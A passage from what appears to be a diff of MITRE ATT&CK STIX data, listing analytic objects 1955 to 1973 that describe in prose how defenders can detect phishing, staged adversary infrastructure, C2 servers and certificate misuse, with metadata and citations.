"2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0823#AN1955", + "external_id": "AN1955" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1955", + "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\nDepending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\nWhen it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\n\nMonitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers.\nMonitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4ef6c517-011e-4155-897f-e86cea5824b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0824#AN1956", + "external_id": "AN1956" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1956", + "description": "If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) .", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f1e4a6ae-86b5-4cf1-a044-0ffc6551196e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0825#AN1957", + "external_id": "AN1957" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1957", + "description": "If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ae4f420e-1d38-4f6e-b4b6-4b0932f596e7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0826#AN1958", + "external_id": "AN1958" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + }, + { + "source_name": "ATT ScanBox", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1958", + "description": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--41990c88-06e2-4453-88bf-6bebe776a9a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0827#AN1959", + "external_id": "AN1959" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1959", + "description": "\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--10222534-1e1d-473c-a2cb-674126f87ad8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0828#AN1960", + "external_id": "AN1960" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1960", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c755e8b9-7e07-4e9a-95a1-bc7cb88e878a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0829#AN1961", + "external_id": "AN1961" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1961", + "description": "Once adversaries leverage serverless functions as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c0195ab2-3c4e-41ce-a1e4-7e58118abeb4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0830#AN1962", + "external_id": "AN1962" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1962", + "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.\nMonitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--24e641ec-e64a-4f2c-91b1-8bd400e97547", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0831#AN1963", + "external_id": "AN1963" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1963", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b5842814-7d1b-484d-acd8-d1f776c6851f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0832#AN1964", + "external_id": "AN1964" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1964", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0922c3e9-26fb-4330-8d7a-2b9a4661db88", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0833#AN1965", + "external_id": "AN1965" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1965", + "description": "Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f", + "name": "Malware Repository", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4403499c-b81c-4d0e-896c-67178547ac18", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0834#AN1966", + "external_id": "AN1966" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1966", + "description": "If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8619af40-05db-49a7-b7b8-476facfd4b2c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0835#AN1967", + "external_id": "AN1967" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1967", + "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--81f695b5-7621-4a82-8036-536c6687b5b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0836#AN1968", + "external_id": "AN1968" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1968", + "description": "If infrastructure or patterns in the malicious web content related to malvertising have been previously identified, internet scanning may uncover when an adversary has staged malicious web content. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1b067cad-c75b-484e-8aaa-4b058c8ec9f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0837#AN1969", + "external_id": "AN1969" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1969", + "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4884ba77-1420-4093-9dba-65e881f6dca5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0838#AN1970", + "external_id": "AN1970" + }, + { + "source_name": "Koczwara Beacon Hunting Sep 2021", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" + }, + { + "source_name": "Mandiant SCANdalous Jul 2020", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1970", + "description": "Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1fec971d-c822-4819-9489-8c27857e3481", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0839#AN1971", + "external_id": "AN1971" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1971", + "description": "If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a05f564d-365c-46ce-ab98-ba377aa3b660", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0840#AN1972", + "external_id": "AN1972" + }, + { + "source_name": "Splunk Kovar Certificates 2017", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1972", + "description": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dc58724a-18a9-4bb9-a901-f5630963095b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0841#AN1973", + "external_id": "AN1973" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1973", + "description": "Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.", + 